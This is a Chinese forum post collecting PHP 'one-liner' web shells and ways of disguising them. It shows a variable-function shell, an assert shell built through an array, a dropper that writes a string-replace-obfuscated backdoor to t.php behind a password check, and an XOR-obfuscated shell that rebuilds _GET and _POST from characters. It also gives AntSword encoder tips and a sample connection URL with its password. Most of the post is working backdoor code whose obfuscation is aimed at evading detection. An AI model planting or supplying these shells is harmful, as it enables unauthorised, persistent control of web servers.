搜索
查看: 1502|回复: 0

一句话变形计

[复制链接]

296

主题

432

帖子

944

积分

vip用户

Rank: 6Rank: 6

积分
944

注册会员活跃会员热心会员

QQ
发表于 2020-10-17 12:38:41 来自手机 | 显示全部楼层 |阅读模式
常见一句话

<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>


eval是一个语言构造器而不是一个函数,不能被可变函数调用
<?php 
$POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);
?>

AntSword 连接的问题。 php assert 会把传入的字符串的引号进行一次实体编码,导致执行代码失败。这时候只需要把编码器换成 base64 或者 chr 这种没有引号的编码器就可以了
<?php
 if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");@fclose($_);}
?>

PHP中字符异或后还是字符,我们只需要找到两个字符,他们的异或结果是我们所需要的字母即可
http://127.0.0.1/b.php?0=assert密码为1
<?php 
@$_++;  //得到1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");  //得到_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");  //得到_POST
${$__}[!$_](${$___}[$_]);  
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表